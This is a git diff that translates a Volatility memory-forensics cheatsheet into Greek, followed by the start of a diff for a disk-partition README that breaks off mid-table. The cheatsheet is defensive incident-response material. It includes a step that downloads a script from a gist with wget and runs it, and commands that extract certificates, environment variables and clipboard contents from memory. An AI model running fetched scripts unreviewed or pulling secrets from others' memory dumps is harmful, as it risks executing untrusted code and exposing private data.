- -​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Processes - -### List processes - -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +Προσπαθήστε να βρείτε **ύποπτες** διαδικασίες (κατά όνομα) ή **αναπάντεχες** παιδικές **διαδικασίες** (για παράδειγμα μια cmd.exe ως παιδί της iexplorer.exe).\ +Θα μπορούσε να είναι ενδιαφέρον να **συγκρίνετε** το αποτέλεσμα του pslist με αυτό του psscan για να εντοπίσετε κρυφές διαδικασίες. {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden) python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS) python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware) ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware) volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list ``` - {{#endtab}} {{#endtabs}} @@ -233,185 +189,151 @@ volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -### Command line +### Γραμμή εντολών -Anything suspicious was executed? +Εκτελέστηκε οτιδήποτε ύποπτο; {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION ``` - {{#endtab}} {{#endtabs}} -Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted. +Οι εντολές που εκτελούνται στο `cmd.exe` διαχειρίζονται από το **`conhost.exe`** (ή το `csrss.exe` σε συστήματα πριν από τα Windows 7). Αυτό σημαίνει ότι αν το **`cmd.exe`** τερματιστεί από έναν επιτιθέμενο πριν αποκτηθεί ένα memory dump, είναι ακόμα δυνατή η ανάκτηση του ιστορικού εντολών της συνεδρίας από τη μνήμη του **`conhost.exe`**. Για να το κάνετε αυτό, αν ανιχνευθεί ασυνήθιστη δραστηριότητα μέσα στα modules της κονσόλας, η μνήμη της σχετικής διαδικασίας **`conhost.exe`** θα πρέπει να αποθηκευτεί. Στη συνέχεια, αναζητώντας **strings** μέσα σε αυτό το dump, οι γραμμές εντολών που χρησιμοποιήθηκαν στη συνεδρία μπορούν ενδεχομένως να εξαχθούν. -### Environment +### Περιβάλλον -Get the env variables of each running process. There could be some interesting values. +Αποκτήστε τις μεταβλητές env κάθε εκτελούμενης διαδικασίας. Μπορεί να υπάρχουν μερικές ενδιαφέρουσες τιμές. {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` - {{#endtab}} {{#endtabs}} -### Token privileges +### Δικαιώματα Token -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. +Ελέγξτε για δικαιώματα token σε απροσδόκητες υπηρεσίες.\ +Θα μπορούσε να είναι ενδιαφέρον να καταγράψετε τις διεργασίες που χρησιμοποιούν κάποιο προνομιακό token. {{#tabs}} {{#tab name="vol3"}} - ```bash #Get enabled privileges of some processes python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] #Get all processes with interesting privileges python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled #Get all processes with interesting privileges volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#endtabs}} ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). +Ελέγξτε κάθε SSID που ανήκει σε μια διαδικασία.\ +Θα μπορούσε να είναι ενδιαφέρον να καταγράψετε τις διαδικασίες που χρησιμοποιούν ένα SID με προνόμια (και τις διαδικασίες που χρησιμοποιούν κάποιο SID υπηρεσίας). {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service ``` - {{#endtab}} {{#endtabs}} -### Handles +### Χειριστές -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) +Χρήσιμο να γνωρίζουμε σε ποια άλλα αρχεία, κλειδιά, νήματα, διαδικασίες... έχει **ένα process έναν χειριστή** (έχει ανοίξει) {{#tabs}} {{#tab name="vol3"}} - ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` - {{#endtab}} {{#endtabs}} ### DLLs - -{{#tabs}} -{{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc ``` - {{#endtab}} {{#endtabs}} -### Strings per processes +### Συμβολοσειρές ανά διαδικασία -Volatility allows us to check which process a string belongs to. +Το Volatility μας επιτρέπει να ελέγξουμε σε ποια διαδικασία ανήκει μια συμβολοσειρά. {{#tabs}} {{#tab name="vol3"}} - ```bash strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -419,99 +341,78 @@ volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.t volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir . strings 3532.dmp > strings_file ``` - {{#endtab}} {{#endtabs}} -It also allows to search for strings inside a process using the yarascan module: +Επιτρέπει επίσης την αναζήτηση για συμβολοσειρές μέσα σε μια διαδικασία χρησιμοποιώντας το module yarascan: {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` - {{#endtab}} {{#endtabs}} ### UserAssist -**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run. +**Windows** παρακολουθεί τα προγράμματα που εκτελείτε χρησιμοποιώντας μια δυνατότητα στο μητρώο που ονομάζεται **UserAssist keys**. Αυτά τα κλειδιά καταγράφουν πόσες φορές εκτελείται κάθε πρόγραμμα και πότε εκτελέστηκε τελευταία φορά. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` - {{#endtab}} {{#endtabs}} ​ -
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Services +## Υπηρεσίες {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp #Get name of the services and SID (slow) volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Network +## Δίκτυο {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.netscan.NetScan #For network info of linux use volatility2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only @@ -526,102 +427,84 @@ volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes) volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` - {{#endtab}} {{#endtabs}} -## Registry hive +## Μητρώο hives -### Print available hives +### Εκτύπωση διαθέσιμων hives {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys ``` - {{#endtab}} {{#endtabs}} -### Get a value +### Πάρε μια τιμή {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` - {{#endtab}} {{#endtabs}} ### Dump - ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` +## Σύστημα Αρχείων -## Filesystem - -### Mount +### Σύνδεση {{#tabs}} {{#tab name="vol3"}} - ```bash #See vol2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` - {{#endtab}} {{#endtabs}} -### Scan/dump +### Σάρωση/εκφόρτωση {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -631,60 +514,50 @@ volatility --profile=SomeLinux -f file.dmp linux_enumerate_files volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file ``` - {{#endtab}} {{#endtabs}} -### Master File Table +### Πίνακας Κύριων Αρχείων {{#tabs}} {{#tab name="vol3"}} - ```bash # I couldn't find any plugin to extract this information in volatility3 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` - {{#endtab}} {{#endtabs}} -The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +Το **σύστημα αρχείων NTFS** χρησιμοποιεί ένα κρίσιμο συστατικό γνωστό ως _πίνακας κύριων αρχείων_ (MFT). Αυτός ο πίνακας περιλαμβάνει τουλάχιστον μία καταχώρηση για κάθε αρχείο σε έναν τόμο, καλύπτοντας και το MFT. Σημαντικές λεπτομέρειες σχετικά με κάθε αρχείο, όπως **μέγεθος, χρονικές σφραγίδες, δικαιώματα και πραγματικά δεδομένα**, είναι ενσωματωμένες μέσα στις καταχωρήσεις MFT ή σε περιοχές εξωτερικές του MFT αλλά αναφερόμενες από αυτές τις καταχωρήσεις. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [επίσημη τεκμηρίωση](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). -### SSL Keys/Certs +### Κλειδιά/Πιστοποιητικά SSL {{#tabs}} {{#tab name="vol3"}} - ```bash #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Malware +## Κακόβουλο Λογισμικό {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.malfind.Malfind [--dump] #Find hidden and injected code, [dump each suspicious section] #Malfind will search for suspicious structures related to malware @@ -698,11 +571,9 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -718,18 +589,16 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules volatility --profile=SomeLinux -f file.dmp linux_check_tty volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ``` - {{#endtab}} {{#endtabs}} -### Scanning with yara +### Σάρωση με yara -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. +Χρησιμοποιήστε αυτό το σενάριο για να κατεβάσετε και να συγχωνεύσετε όλους τους κανόνες κακόβουλου λογισμικού yara από το github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Δημιουργήστε τον φάκελο _**rules**_ και εκτελέστε το. Αυτό θα δημιουργήσει ένα αρχείο με όνομα _**malware_rules.yar**_ που περιέχει όλους τους κανόνες yara για κακόβουλο λογισμικό. {{#tabs}} {{#tab name="vol3"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -739,193 +608,154 @@ python malware_yara_rules.py #All ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq ``` - {{#endtab}} {{#endtabs}} -## MISC +## ΔΙΑΦΟΡΑ -### External plugins +### Εξωτερικά πρόσθετα -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. +Αν θέλετε να χρησιμοποιήσετε εξωτερικά πρόσθετα, βεβαιωθείτε ότι οι φάκελοι που σχετίζονται με τα πρόσθετα είναι η πρώτη παράμετρος που χρησιμοποιείται. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatilitye --plugins="/tmp/plugins/" [...] ``` - {{#endtab}} {{#endtabs}} #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +Κατεβάστε το από [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` - ### Mutexes {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant ``` - {{#endtab}} {{#endtabs}} -### Symlinks +### Συμβολικοί Σύνδεσμοι {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` - {{#endtab}} {{#endtabs}} ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash_history_ file, but it was disabled you will be glad you can use this volatility module +Είναι δυνατόν να **διαβάσετε από τη μνήμη την ιστορία του bash.** Μπορείτε επίσης να εξάγετε το αρχείο _.bash_history_, αλλά ήταν απενεργοποιημένο, θα είστε ευτυχείς που μπορείτε να χρησιμοποιήσετε αυτό το module της volatility. {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp linux.bash.Bash ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` - {{#endtab}} {{#endtabs}} -### TimeLine +### Χρονοδιάγραμμα {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` - {{#endtab}} {{#endtabs}} -### Drivers +### Οδηγοί {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` - {{#endtab}} {{#endtabs}} -### Get clipboard - +### Λάβετε το πρόχειρο ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` - -### Get IE history - +### Πάρτε το ιστορικό του IE ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` - -### Get notepad text - +### Πάρε κείμενο σημειωματάριου ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - -### Screenshot - +### Στιγμιότυπο οθόνης ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` - ### Master Boot Record (MBR) - ```bash volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` +Το **Master Boot Record (MBR)** παίζει κρίσιμο ρόλο στη διαχείριση των λογικών κατατμήσεων ενός αποθηκευτικού μέσου, οι οποίες είναι δομημένες με διαφορετικά [file systems](https://en.wikipedia.org/wiki/File_system). Δεν κρατά μόνο πληροφορίες διάταξης κατατμήσεων, αλλά περιέχει επίσης εκτελέσιμο κώδικα που λειτουργεί ως boot loader. Αυτός ο boot loader είτε ξεκινά άμεσα τη διαδικασία φόρτωσης δεύτερης φάσης του OS (βλ. [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) είτε λειτουργεί σε αρμονία με το [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) κάθε κατατμήσεως. Για σε βάθος γνώση, ανατρέξτε στη [σελίδα Wikipedia του MBR](https://en.wikipedia.org/wiki/Master_boot_record). -The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record). - -## References +## Αναφορές - [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/) - [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html) @@ -933,10 +763,4 @@ The **Master Boot Record (MBR)** plays a crucial role in managing the logical pa - [https://www.aldeid.com/wiki/Windows-userassist-keys](https://www.aldeid.com/wiki/Windows-userassist-keys) ​\* [https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table) - [https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa](https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa) -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 9ac27c92e..95ae7f708 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# Διαμερίσματα/Συστήματα Αρχείων/Carving {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## Διαμερίσματα -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Ένας σκληρός δίσκος ή ένα **SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με στόχο τη φυσική διαχωρισμό των δεδομένων.\ +Η **ελάχιστη** μονάδα ενός δίσκου είναι ο **τομέας** (κανονικά αποτελείται από 512B). Έτσι, το μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο αυτού του μεγέθους. ### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού θα πρέπει να προσαρτηθεί ένα διαμέρισμα.\ +Επιτρέπει έως **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **εκτεταμένα διαμερίσματα**. Ο **τελευταίος byte** αυτού του πρώτου τομέα είναι η υπογραφή του boot record **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να χαρακτηριστεί ως ενεργό.\ +Το MBR επιτρέπει **μέγιστο 2.2TB**. ![](<../../../images/image (350).png>) ![](<../../../images/image (304).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου των Windows** (αν χρησιμοποιούνται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου των Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να αποτρέψει την εκκίνηση των Windows (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (310).png>) -**Format** +**Μορφή** | Offset | Length | Item | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης | +| 446 (0x1BE) | 16 (0x10) | Πρώτο Διαμέρισμα | +| 462 (0x1CE) | 16 (0x10) | Δεύτερο Διαμέρισμα | +| 478 (0x1DE) | 16 (0x10) | Τρίτο Διαμέρισμα | +| 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα | +| 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA | -**Partition Record Format** +**Μορφή Καταγραφής Διαμερίσματος** | Offset | Length | Item | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| 0 (0x00) | 1 (0x01) | Σημαία ενεργοποίησης (0x80 = εκκινήσιμο) | +| 1 (0x01) | 1 (0x01) | Αρχική κεφαλή | +| 2 (0x02) | 1 (0x01) | Αρχικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) | +| 3 (0x03) | 1 (0x01) | Αρχικός κύλινδρος χαμηλότερα 8 bits | +| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμερίσματος (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Τελική κεφαλή | +| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) | +| 7 (0x07) | 1 (0x01) | Τελικός κύλινδρος χαμηλότερα 8 bits | +| 8 (0x08) | 4 (0x04) | Τομείς που προηγούνται του διαμερίσματος (little endian) | +| 12 (0x0C) | 4 